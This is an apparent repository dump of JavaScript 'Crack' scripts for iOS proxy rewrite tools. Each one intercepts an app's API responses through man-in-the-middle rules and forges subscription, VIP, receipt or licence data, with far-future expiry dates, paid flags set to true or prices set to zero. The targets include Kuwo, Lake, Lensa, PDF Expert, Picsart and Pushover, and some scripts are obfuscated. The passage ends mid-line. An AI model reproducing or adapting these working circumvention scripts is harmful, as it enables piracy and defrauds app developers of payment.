8 | const time = '/vip/spi/mservice';
9 |
10 | if (url.indexOf(vip) != -1) {
11 | obj.data["isNewUser"] = "2";
12 | obj.data["vipLuxuryExpire"] = "1835312949000";
13 | obj.data["time"] = "1961170340993";
14 | obj.data["isYearUser"] = "2";
15 | obj.data["vipmExpire"] = "1835312949000";
16 | obj.data["vipOverSeasExpire"] = "1835312949000";
17 | obj.data["vipExpire"] = "1835312949000";
18 | obj.data["vip3Expire"] = "1835312949000";
19 | body = JSON.stringify(obj);
20 | }
21 |
22 | if (url.indexOf(time) != -1) {
23 | obj["isVIPMAutoPay"] = 2;
24 | obj["isVIPLuxAutoPay"] = 2;
25 | body = JSON.stringify(obj);
26 | }
27 |
28 | $done({body});
29 |
--------------------------------------------------------------------------------
/Crack/kwbookpay.js:
--------------------------------------------------------------------------------
1 | /*
2 | kwbook vip
3 | /a.p?kweexVersion=1.1.5
4 | /a.p
5 | */
6 |
7 | var body = $response.body;
8 | const path1 = "kuwo.cn/a.p?";
9 |
10 | if ($request.url.indexOf(path1) != -1){
11 | body = body.replace(/"type":\d*/g,'"type":2').replace(/"end":\d*/g, '"end":4811209694000').replace(/"period":\d*/g, '"period":111').replace(/"bought_vip":\d*/g, '"bought_vip":1').replace(/"bought_vip_end":\d*/g, '"bought_vip_end":4811209694000');
12 | }else {
13 | body = body.replace(/"limitfree":\d*/g, '"limitfree":1').replace(/"playable":\d*/g, '"playable":1').replace(/"downable":\d*/g, '"downable":1').replace(/"playright":\d*/g, '"playright":1').replace(/"downright":\d*/g, '"downright":1').replace(/"policytype":\d*/g, '"policytype":1').replace(/"policy":\d*/g, '"policy":1');
14 | }
15 | $done({ body });
--------------------------------------------------------------------------------
/Crack/kwtingshu.js:
--------------------------------------------------------------------------------
1 | /*
2 | kwts vip
3 | /v2/api/user/isBuyVip?
4 | /v2/api/user/info?
5 | */
6 |
7 |
8 | const path1 = "/user/info";
9 |
10 | var obj = JSON.parse($response.body);
11 |
12 | if ($request.url.indexOf(path1) != -1){
13 | obj.data.vipType = 1,
14 | obj.data.vipExpires = 4811209694000,
15 | obj.data.autoRenewal = true
16 | }else {
17 | obj.data.isbuyVip = 1
18 | }
19 |
20 | $done({body: JSON.stringify(obj)});
--------------------------------------------------------------------------------
/Crack/lakepro.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 應用名稱:Lake
4 | > 軟件版本:3.24.0
5 | > 下載地址:https://apps.apple.com/tw/app/id1183717726
6 | > 腳本作者:Cuttlefish
7 | > 微信賬號:墨魚手記
8 | > 解鎖說明:解鎖高級會員權限
9 | > 更新時間:2022-04-20
10 | > 通知頻道:https://t.me/ddgksf2021
11 | > 問題反饋:https://t.me/ddgksf2013_bot
12 | > 特別說明:本腳本僅供學習交流使用,禁止轉載售賣
13 |
14 | [rewrite_local]
15 | # ~ Lake解鎖會員權限(2022-04-20)@ddgksf2013
16 | https?:\/\/revenuecat\.lakecoloring\.com\/v\d\/(receipts|subscribers) url script-echo-response https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/lakepro.js
17 |
18 | [mitm]
19 | hostname=revenuecat.lakecoloring.com
20 |
21 | ***********************************/
22 |
23 |
24 | var cuttlefish ={"warning":"本腳本僅供學習交流使用,禁止轉載售賣","tgchannel":"https://t.me/ddgksf2021","feedback":"https://t.me/ddgksf2013_bot"}
25 | var ddgksf2013={"request_date":"2022-04-20T11:54:41Z","request_date_ms":1591358081473,"subscriptions":{"com.premium.yearly":{"billing_issues_detected_at":null,"expires_date":"2030-02-18T07:52:54Z","is_sandbox":false,"original_purchase_date":"2020-02-11T07:52:55Z","period_type":"normal","purchase_date":"2020-02-11T07:52:54Z","store":"app_store","unsubscribe_detected_at":null}},"subscriber":{"entitlements":{"standard":{"expires_date":"2030-02-18T07:52:54Z","product_identifier":"com.premium.yearly","purchase_date":"2020-02-11T07:52:54Z"}},"first_seen":"2020-05-29T07:59:41Z","last_seen":"2020-06-05T11:46:28Z","management_url":null,"non_subscriptions":{},"original_app_user_id":"httpstmeddgksf2021","original_application_version":"5","original_purchase_date":"2020-05-29T07:47:32Z","other_purchases":{}}};
26 | $done({body : JSON.stringify(ddgksf2013)});
27 |
--------------------------------------------------------------------------------
/Crack/lensa.js:
--------------------------------------------------------------------------------
1 | var obj = JSON.parse($response.body);
2 | obj['is_valid'] = true;
3 | obj['is_trial'] = true;
4 | obj['expiration_date'] = '2970-01-01T00:00:00Z';
5 | $done({body: JSON.stringify(obj)});
6 |
--------------------------------------------------------------------------------
/Crack/manhuatailite.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 應用名稱:漫画台Lite(微信小程序)
4 | > 軟件版本:0.0.0
5 | > 下載地址:微信小程序搜索漫画台Lite
6 | > 腳本作者:Cuttlefish
7 | > 微信賬號:墨魚手記
8 | > 更新時間:2022-03-11
9 | > 通知頻道:https://t.me/ddgksf2021
10 | > 問題反饋:https://t.me/ddgksf2013_bot
11 | > 特別聲明:本腳本僅供學習交流使用,禁止轉載售賣
12 |
13 | [rewrite_local]
14 |
15 | # ~ 漫画台Lite(微信小程序)解鎖會員權限(2022-03-11)@ddgksf2013
16 | ^https?:\/\/comic\.321mh\.com\/app_api\/v\d\/getcomicinfo_body url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/manhuatailite.js
17 |
18 | [mitm]
19 |
20 | hostname=comic.321mh.com
21 |
22 | ***********************************/
23 |
24 |
25 | var cuttlefish ={"warning":"本腳本僅供學習交流使用,禁止轉載售賣","tgchannel":"https://t.me/ddgksf2021","feedback":"https://t.me/ddgksf2013_bot"}
26 | var body = $response.body.replace(/price":\d+/g,'price":0')
27 | $done({ body });
28 |
29 |
--------------------------------------------------------------------------------
/Crack/meistertask.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/"academic":false/g, '"academic":true').replace(/"name":"basic"/g, '"name":"business"').replace(/trial":false/g, 'trial":true');
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/mix.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | Author:@ddgksf2013
4 |
5 | 通知频道:https://t.me/ddgksf2021
6 |
7 | */
8 |
9 | var obj=
10 | {"status":200,"data":{"sandbox":1,"purchaseTime":1571682188,"giftVip":0,"productId":"VIP_yearly_29.99","appleVip":1,"expireTime":4096532852,"operationVip":1,"errorCode":0},"message":"ok","exetime":"1572056389212-1572056391362","serverTime":1572056391.3622};
11 | $done({body: JSON.stringify(obj)});
--------------------------------------------------------------------------------
/Crack/moo.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by cuttlefish 公众号:墨鱼手记
3 | */
4 |
5 | re('"userType":\\d@"radishQty":\\d','"userType":2@"radishQty":999')
6 |
7 | function re() {
8 | var body = $response.body;
9 | if (arguments[0].includes("@")) {
10 | var regs = arguments[0].split("@");
11 | var strs = arguments[1].split("@");
12 | for (i = 0;i < regs.length;i++) {
13 | var reg = new RegExp(regs[i],"g");
14 | body = body.replace(reg, strs[i]);
15 | }
16 | }
17 | else {
18 | var reg = new RegExp(arguments[0],"g");
19 | body = body.replace(reg, arguments[1]);
20 | }
21 | $done(body);
22 | }
--------------------------------------------------------------------------------
/Crack/mp.js:
--------------------------------------------------------------------------------
1 | var body = $response.body
2 | .replace(/\"member_type\":0/, "\"member_type\":2")
3 | .replace(/\"status\":0/, "\"status\":2")
4 | .replace(/\"expired_at_str\":\"\"/, "\"expired_at_str\":\"2099-12-31\"");
5 | $done({ body });
--------------------------------------------------------------------------------
/Crack/mv.js:
--------------------------------------------------------------------------------
1 | /*Unlocks by Cuttlefish 公众号:墨鱼手记*/
2 | obj={"\x6d\x73\x67":"\u5904\u7406\u6210\u529f","\x64\x61\x74\x61":{"\x69\x73\x56\x61\x6c\x69\x64":1,"\x65\x78\x70\x69\x72\x65\x73\x54\x73":9876543210},"\x63\x6f\x64\x65":0};$done({body:JSON['\x73\x74\x72\x69\x6e\x67\x69\x66\x79'](obj)});
3 |
--------------------------------------------------------------------------------
/Crack/myxj.js:
--------------------------------------------------------------------------------
1 | /*
2 | *Update Date: 20201123
3 | *Collected by Cuttlefish
4 | *美颜相机解锁内购
5 | *Author: 黑黑酱
6 | *Url[https://api.meiyan.com/iap/verify.json]
7 | */
8 |
9 | var obj = JSON.parse($response.body);
10 | obj = {
11 | "meta": {
12 | "app_validate_result": 0,
13 | "bundleName": "pay",
14 | "code": 0,
15 | "msg": "success",
16 | "enabled": true,
17 | "paid": true,
18 | "user": null,
19 | "id": 56990,
20 | "subscription": 0,
21 | "request_uri": "/iap/verify",
22 | "error": ""
23 | },
24 | "response": {
25 | "status": 1
26 | }
27 | }
28 | $done({body: JSON.stringify(obj)});
29 |
--------------------------------------------------------------------------------
/Crack/mzjz.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/vipStatus":0/g, 'vipStatus":1').replace(/vipType":0/g, 'vipType":1').replace(/vipFlag":0/g, 'vipFlag":1');
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/nebo.js:
--------------------------------------------------------------------------------
1 | let obj = JSON.parse($response.body);
2 | obj = {
3 | "originalApplicationVersion": "2.2.4.2936",
4 | "dateReceiptCreation": 1582695984000,
5 | "inapps": [],
6 | "bundleIdentifier": "com.myscript.nebo",
7 | "bundleVersion": "2.5.0.5032"
8 | };
9 | $done({body: JSON.stringify(obj)});
10 |
--------------------------------------------------------------------------------
/Crack/nicegram.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 應用名稱:nicegram-unlimited-text
4 | > 軟件版本:1.0.3
5 | > 下載地址:https://apps.apple.com/cn/app/id1608870673
6 | > 腳本作者:Cuttlefish
7 | > 微信賬號:墨魚手記
8 | > 解鎖說明:解鎖高級會員權限
9 | > 更新時間:2022-04-10
10 | > 通知頻道:https://t.me/ddgksf2021
11 | > 問題反饋:https://t.me/ddgksf2013_bot
12 | > 特別說明:本腳本僅供學習交流使用,禁止轉載售賣
13 |
14 | [rewrite_local]
15 |
16 | # ~ Nicegram解鎖會員權限(2022-04-10)@ddgksf2013
17 | https?:\/\/restore-access\.indream\.app\/restoreAccess\?id=\d{5,10} url echo-response text/json echo-response https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/nicegram_body.js
18 |
19 | [mitm]
20 |
21 | hostname=restore-access.indream.app
22 |
23 | ***********************************/
24 |
--------------------------------------------------------------------------------
/Crack/nicegram_body.js:
--------------------------------------------------------------------------------
1 | {
2 | "data": {
3 | "premiumAccess": true
4 | }
5 | }
6 |
--------------------------------------------------------------------------------
/Crack/nmtk.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 | var body = $response.body.replace(/integral":\d/,'integral":2099').replace(/success":false/,'success":true');
104 |
105 | $done({ body });
--------------------------------------------------------------------------------
/Crack/nomo.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 |
4 | */
5 |
6 | var obj = JSON.parse($response.body);
7 |
8 | obj.sign = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTQ2NTAyMiwiYWNjZXNzX3Rva2VuIjoibUZnTFBSM3RrbzVzOEFSQ01DaWE1MHZOYzR2cTlHREQ2d3J5RWp1b1Y3OWNXZGJHVXlvMUlLeGRyeUt3SnV2NUpoRHJKanpxRFlCWkFIRm80TUN6cm9wdm1HTEN1NTJ4dkcteW43MU1aV3NEMlJ0STd2NUdwTWxTWlVCVmE3UXZ4c3JiS1ZmcHdoMWVOYVcxZ0k4T2FleWxiWE4zVWRlNGpPSzczVFlrT2RRU2J2MzFVMnpLckE1V1A5RHNTVU9OSGlyMmtPaDAiLCJwcm9kdWN0cyI6W10sInByb2R1Y3RfaW9zX2lkcyI6W10sImlzX3N1YnNjcmlwdGlvbl91c2VyIjp0cnVlLCJyZWNlaXZlZF9maWxtX2lkcyI6W10sInRpbWVzdGFtcCI6MTY0MjY4NDQ0NH0.wFmYYByii_2FMhmKDmo9K5fRz0zJEjElzaNs6mD4hU7ndtYUAQksh7Q37uqVnfS584iwUXsXTxc7_0NXbpVd2I9Sl6Fft8-ZmtvoecLyXk3QP15zATzzl7p0ykrIAbZum6B3KnDAQcCOjqypGI8RU2m-lXvrnHVqJUd7Uk3XOqcDEyEsVgfgZ3b5L7BOmvycDk6yNIDqptwKQ2R4gB_Zo8dYnPdaBn9an77kq3QDRSVHntmuVepfGgFpZQFG4PHsKO12jwqeu6C-gx_vGsqbAx9e2ywePxuVUhzdHzqWKHQAvfoYej11YlHRs1cjt8QLf-Ys5wx3DFJ-od_xRsSLZA";
9 |
10 | $done({
11 | body : JSON.stringify(obj)
12 | });
--------------------------------------------------------------------------------
/Crack/pdfexpert1.js:
--------------------------------------------------------------------------------
1 | /*公众号墨鱼手记*/
2 | var _0xodp='jsjiami.com.v6',_0xodp_=['_0xodp'],_0x429f=[_0xodp,'\u672c\u8173\u672c\u50c5\u4f9b\u5b78\u7fd2\u4ea4\u6d41\u4f7f\u7528\uff0c\u7981\u6b62\u8f49\u8f09\u552e\u8ce3','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2e\x6d\x65\x2f\x64\x64\x67\x6b\x73\x66\x32\x30\x32\x31','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x2e\x6d\x65\x2f\x64\x64\x67\x6b\x73\x66\x32\x30\x31\x33\x5f\x62\x6f\x74','\x63\x6f\x6d\x2e\x72\x65\x61\x64\x64\x6c\x65\x2e\x50\x44\x46\x45\x78\x70\x65\x72\x74\x35\x2e\x73\x75\x62\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x2e\x79\x65\x61\x72\x35\x30','\x61\x63\x74\x69\x76\x65','\x73\x75\x62\x73\x63\x72\x69\x70\x74\x69\x6f\x6e','\x31\x35\x3a\x35\x35\x20\x32\x38\x2f\x31\x32\x2f\x32\x30\x32\x32','\x61\x75\x74\x6f\x52\x65\x6e\x65\x77\x4f\x6e','\x69\x6f\x73\x2e\x70\x65\x2e\x73\x75\x62\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x2e\x70\x64\x66\x2d\x66\x65\x61\x74\x75\x72\x65\x73','\x63\x6f\x6d\x2e\x72\x65\x61\x64\x64\x6c\x65\x2e\x50\x44\x46\x45\x78\x70\x65\x72\x74\x35','\x69\x4f\x53\x20\x41\x70\x70\x53\x74\x6f\x72\x65','\x6a\x73\x4b\x52\x6a\x69\x61\x6d\x72\x7a\x64\x69\x2e\x52\x63\x58\x6e\x62\x50\x41\x6f\x53\x6d\x77\x2e\x64\x7a\x76\x36\x3d\x3d'];function _0x511b(_0x1cba17,_0x441f23){_0x1cba17=~~'0x'['concat'](_0x1cba17['slice'](0x0));var _0x434e8f=_0x429f[_0x1cba17];return _0x434e8f;};(function(_0x2e56fc,_0x42aa0b){var _0x3593c5=0x0;for(_0x42aa0b=_0x2e56fc['shift'](_0x3593c5>>0x2);_0x42aa0b&&_0x42aa0b!==(_0x2e56fc['pop'](_0x3593c5>>0x3)+'')['replace'](/[KRrzdRXnbPASwdz=]/g,'');_0x3593c5++){_0x3593c5=_0x3593c5^0xd9f2a;}}(_0x429f,_0x511b));var cuttlefish={'warning':_0x511b('0'),'tgchannel':_0x511b('1'),'feedback':_0x511b('2')};var ddgksf2013=[{'originalTransactionId':0x110d9700795e3,'inAppStates':[{'originalTransactionId':0x110d9700795e3,'productId':_0x511b('3'),'subscriptionState':_0x511b('4'),'productName':_0x511b('5'),'subscriptionExpirationDate':_0x511b('6'),'isEligibleForIntroPeriod':![],'subscriptionAutoRenewStatus':_0x511b('7'),'type':_0x511b('5'),'isInGracePeriod':![],'isInBillingRetryPeriod':![],'entitlements':[_0x511b('8')]}],'receiptId':0x16c6f1221b8,'statisticsInfo':{'events':[]},'bundleId':_0x511b('9'),'chargingPlatform':_0x511b('a')}];$done({'\x62\x6f\x64\x79':body});;_0xodp='jsjiami.com.v6';
3 |
--------------------------------------------------------------------------------
/Crack/phoneyjgj.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | const path1 = "/3.6.8/uicommon/getuser";
5 | const path2 = "/1.0/uiforum/downloadwallpaper";
6 |
7 |
8 | let obj = JSON.parse($response.body);
9 |
10 | if ($request.url.indexOf(path1) != -1){
11 | obj.data.expireTime = 99999999999,
12 | obj.data.isVip = true,
13 | obj.data.expExpireTime = 1867600302,
14 | obj.data.score = 99999
15 | }
16 | if ($request.url.indexOf(path2) != -1){
17 | obj = {
18 | "errno": 0,
19 | "errmsg": "OK",
20 | "data": "aXVNbR5r7cLe0FSpoXFuPw=="
21 | }
22 | }
23 | $done({body: JSON.stringify(obj)});
24 |
--------------------------------------------------------------------------------
/Crack/picsart.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 | > 應用名稱:Picsart美易
3 | > 軟件版本:18.3.2
4 | > 下載地址:https://apps.apple.com/cn/app/id1586286914
5 | > 腳本作者:Cuttlefish
6 | > 微信賬號:墨魚手記
7 | > 更新時間:2022-02-19
8 | > 通知頻道:https://t.me/ddgksf2021
9 | > 問題反饋:https://t.me/ddgksf2013_bot
10 | > 特別說明:本腳本僅供學習交流使用,禁止轉載售賣
11 |
12 | [rewrite_local]
13 |
14 | # ~ Picsart美易解鎖會員權限(2022-02-19)@ddgksf2013
15 | ^https?:\/\/api\.meiease\.cn\/shop\/subscription\/validate url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/picsart.js
16 |
17 | [mitm]
18 |
19 | hostname=api.meiease.cn
20 | ***********************************/
21 |
22 |
23 |
24 | var ddgksf2013={"warning":"本腳本僅供學習交流使用,禁止轉載售賣","tgchannel":"https://t.me/ddgksf2021","feedback":"https://t.me/ddgksf2013_bot","status":"success","reason":"ok","response":{"purchase_date":1645263154000,"expire_date":6049867954000,"app":"com.picsart.editor","subscription_id":"com.picsart.editor.subscription_yearly","order_id":"300001048350229","original_order_id":"600001048350229","status":"SUBSCRIPTION_PURCHASED","is_trial":true,"winback_screen_id":1,"is_eligible_for_introductory":false,"plan_meta":{},"limitation":{"max_count":1000,"limits_exceeded":false},"is_eligible_for_grant":true}}
25 |
26 | $done({body: JSON.stringify(ddgksf2013)});
27 |
--------------------------------------------------------------------------------
/Crack/productive.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var obj = 'NrhWQe0eCWjK87jNSzCeR6kCEXJC+XjEAMd6fgwyNTkyAgWt2Ej2RM2amodpkQHVpBovl\/a1MAKQ2fcsM+EUha2gYEg1Y8IV5AXSnsD+hWsIIb3JhIibc4XeDn3FZmEUZJECESNOQ50W0V9piL1UJEKd0yTEpaG0JRKzcJOQF4MCoD6dRQN8VpNRg\/IY\/7iyfrTYpv0gvNNmi08upsDVO\/m0DO1qvY8WR0Cwk\/4bLl8xpwDH3IFF7xt6Sy9MdTGczXwsdtzZVIY004W+6DXGmt00eJSD6fmsUGDTLDUK9rhqFPpDg2+Y3ISVnlFih3gHL0Xv1o2QcvZKZf4APAHuY4jrz2Z8jZ35HMH28\/2htiejLzCtCMLqDcNzcdtczk43CWaiRcL8rQhN3\/eylOu2dLD4KPAoaoyY5PXWDgTLgNfDqRaZAcPWyHT6pEjiUrArKD\/1kGqgOBFaLngUIHcxHGn5M2SNawBCv1XUdCijvckCPzw4KIyEykV9\/+4yM\/0Jz2BxwKMMdaTJlFw4cJ0ohyipPqak4aOLbsQg1Ezpchc=';
5 | $done({body: obj});
6 |
--------------------------------------------------------------------------------
/Crack/ps.js:
--------------------------------------------------------------------------------
1 | let obj = JSON.parse($response.body);
2 |
3 | obj.mobileProfile.profileStatus = 'PROFILE_AVAILABLE';
4 |
5 | $done({body: JSON.stringify(obj)});
6 |
--------------------------------------------------------------------------------
/Crack/psa.js:
--------------------------------------------------------------------------------
1 | /*公众号墨鱼手记*/
2 | ['sojson.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['sojson.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"111G98c106c61i123e10b32G32n34A115W116V97J116L117U115u34c58l32f34G111e107K34k44X10t32l32d34O105g115u95Q118x97d108q105V100I34N58I32w116c114B117n101X44G10f32R32M34h101p120O112K105W114w97W116z105q111e110A95D100g97G116y101I34v58r32k34e50N48l57J57F45L49Y50d45z48P49h84a48b51Z58E53b49P58V51m50R90B34r44C10H32b32K34a105Z115a95Y116B114u105i97W108q34x58u32I102Y97f108R115p101c44T10t32a32m34h112u114z111C99G101M115d115P105W110f103v95P99m111N117I110T116x34j58I32d53w44v10a32o32d34q105f115z95q105h110y116k114u111R100G117U99A116a111i114Q121K95n117i115y101V100s34O58w32w116y114F117Q101L44l10x32l32q34E112P114Q111F100U117t99P116I95o105o100c34S58V32l34s34u44s10U32k32H34H112B114N111k109X111A116N105G111v110B97C108y95X111d102K102H101h114W95a105t100n34e58L32B34D34n44y10m32N32T34m105D115A95m103j114h97K99p101N95a112O101V114r105r111i100a34I58H32F102r97o108V115N101f44A10y32D32d34U97O117u116A111L95w114o101N110N101u119w95s101g110T97x98o108a101O100c34v58G32Y116R114z117F101j44f10y32q32V34w105O115y95k105i110T95c98M105B108M108F105X110g103m95N114N101c116p114n121J95b112w101N114e105r111I100O34l58h32y102t97m108z115I101v44O10M32q32O34c115i117w98M115Q99u114e105V112C116W105U111Y110v95i116g121e112T101i34C58Y32S34D97D110l110r117Q97E108m34o44K10k32Z32f34i112J108x97B116e102V111t114J109A34G58U32z34A105N111d115U34X44Q10R32B32F34h100y101B118s105G99r101C95C117j115T101K114x95M105a110N102X111N34k58k32J123a10M32M32I32x32K34p97l117s116x104I95v116F121k112J101L34A58u32G34c34j44J10q32h32B32o32a34Q115u117Z98w115b99o114Z105R112n116S105k111b110p95X118L97A108U105U100e34I58N32C116B114n117b101y10P32I32l125T10U125K10n36L100j111T110b101k40G123A98n111N100i121e58D32t74k83m79i78e46k115h116g114n105p110c103q105k102t121z40m111g98F106k41c125S41V59"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('sojson.v4');
3 |
--------------------------------------------------------------------------------
/Crack/pushover.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/"is_ios_licensed":false/g, '"is_ios_licensed":true');
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/qc.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by cuttlefish 公众号:墨鱼手记
3 | */
4 |
5 | var obj = JSON.parse($response.body);
6 | obj.data["end_time"] = "2029-11-11 19:38:22";
7 | $done({ body: JSON.stringify(obj) });
8 |
--------------------------------------------------------------------------------
/Crack/qifu.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 應用名稱:起伏
4 | > 軟件版本:1.10
5 | > 下載地址:https://apps.apple.com/cn/app/id1581387090
6 | > 腳本作者:Cuttlefish
7 | > 微信賬號:墨魚手記
8 | > 更新時間:2022-02-19
9 | > 通知頻道:https://t.me/ddgksf2021
10 | > 問題反饋:https://t.me/ddgksf2013_bot
11 | > 特別說明:本腳本僅供學習交流使用,禁止轉載售賣
12 |
13 | [rewrite_local]
14 |
15 | # ~ 起伏解鎖會員權限(2022-02-19)@ddgksf2013
16 | https?:\/\/api\.risingfalling\.com\/api\/vip\/detail url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/qifu.js
17 |
18 | [mitm]
19 |
20 | hostname=api.risingfalling.com
21 |
22 | ***********************************/
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | var cuttlefish ={"warning":"本腳本僅供學習交流使用,禁止轉載售賣","tgchannel":"https://t.me/ddgksf2021","feedback":"https://t.me/ddgksf2013_bot"}
43 | var ddgksf2013 = JSON.parse($response.body);
44 | ddgksf2013.body={"isVip":true,"vipEndTime":4102283483000};
45 | $done({body: JSON.stringify(ddgksf2013)});
46 |
--------------------------------------------------------------------------------
/Crack/qtmusic.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 应用名称:趣听音乐
4 | > 下载地址:https://apps.apple.com/cn/app/id1640507964
5 | > 变身步骤:进入APP,输入“趣听音乐馆”
6 | > 脚本功能:免输入激活码,自动激活APP,免弹窗
7 | > 脚本作者:Cuttlefish
8 | > 微信账号:墨鱼手记
9 | > 更新时间:2022-10-31
10 | > 通知频道:https://t.me/ddgksf2021
11 | > 投稿助手:https://t.me/ddgksf2013_bot
12 | > 问题反馈:📮 ddgksf2013@163.com 📮
13 | > 特别说明:⛔⛔⛔
14 | 本脚本仅供学习交流使用,禁止转载、售卖
15 | ⛔⛔⛔
16 |
17 | [rewrite_local]
18 |
19 | # ~ 趣听音乐☆自动激活APP(2022-10-26)@ddgksf2013
20 | ^https?:\/\/api\.bspapp\.com\/client$ url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/qtmusic.js
21 |
22 | [mitm]
23 |
24 | hostname=api.bspapp.com
25 |
26 | ***********************************/
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 | var body = $response.body.replace(/needVerify":true/g, 'needVerify":false').replace(/code":\d+/g, 'code":0');
53 | $done({ body });
54 |
--------------------------------------------------------------------------------
/Crack/qzjz.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/foreverVip":\\d+/g, 'foreverVip":1').replace(/tatus":\\d/g, 'tatus":1')
5 | $done({ body });
--------------------------------------------------------------------------------
/Crack/qzz.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | let body= $response.body;
5 | var obj = JSON.parse(body);
6 | obj={
7 | "Header": {
8 | "Result": 0,
9 | "Msg": "67e58be26210529f"
10 | },
11 | "Content": {
12 | "style": [],
13 | "end_time": "2029-10-10 22:08:05",
14 | "type": 2,
15 | "facility_list": [],
16 | "system_time": "2020-09-17 22:08:43"
17 | }
18 | }
19 | $done({body: JSON.stringify(obj)});
20 |
--------------------------------------------------------------------------------
/Crack/rf.js:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | 通知频道:https://t.me/ddgksf2021
4 | 问题反馈:https://t.me/ddgksf2013_bot
5 |
6 | [rewrite_local]
7 |
8 | https://pro-status-service-prod.azurewebsites.net/api/item url script-response-body https://codeberg.org/ddgksf2013/Cuttlefish/raw/branch/master/Crack/rf.js
9 |
10 | [mitm]
11 |
12 | hostname=pro-status-service-prod.azurewebsites.net
13 |
14 | */
15 |
16 |
17 |
18 | var ddgksf2013 = JSON.parse($response.body);
19 | ddgksf2013.FilmsProStatus = 1
20 | ddgksf2013.AeroProStatus = 1
21 | $done({body: JSON.stringify(ddgksf2013)});
--------------------------------------------------------------------------------
/Crack/rrtv.js:
--------------------------------------------------------------------------------
1 | /*Http://t.me/ddgksf2021*/
2 |
3 | var body = $response.body;
4 | var url = $request.url;
5 |
6 | if (url.indexOf('/ad/getAll') != -1) {
7 | var obj = JSON.parse(body);
8 | obj.data.adList = [];
9 | body = JSON.stringify(obj);
10 | } else if (url.indexOf('/user/privilege/list') != -1) {
11 | var obj = JSON.parse(body);
12 | obj.data = [{"id":1,"effectObject":"video","action":"play","function":"originalPainting","func":"originalPainting","description":"解锁原画","icon":"jiesuoyuanhua","endTime":9999940148000},{"id":4,"effectObject":"video","action":"play","function":"noLimit","func":"noLimit","description":"看剧无限制","icon":"kanjuwuxianzhi","endTime":9999940148000},{"id":23,"effectObject":"video","action":"play","function":"noAd","func":"noAd","description":"看剧无广告","icon":"kanjuwuguanggao","endTime":9999940148000},{"id":43,"effectObject":"danmu","action":"send","function":"superBarrageBlue","func":"superBarrageBlue","description":"超级弹幕","icon":"chaojidanmu","endTime":9999940148000},{"id":46,"effectObject":"video","action":"play","function":"vipVideo","func":"vipVideo","description":"勋章专享剧集","icon":"zhuanxiangjuji","endTime":9999940148000},{"id":45,"effectObject":"mall","action":"sale","function":"mallDiscount","func":"mallDiscount","description":"龙醇商城九折","icon":"longchunshangcheng","endTime":9999940148000},{"id":37,"effectObject":"growth","action":"play","function":"0.4","func":"0.4","description":"看剧经验+40%","icon":"jingyanzhijiacheng","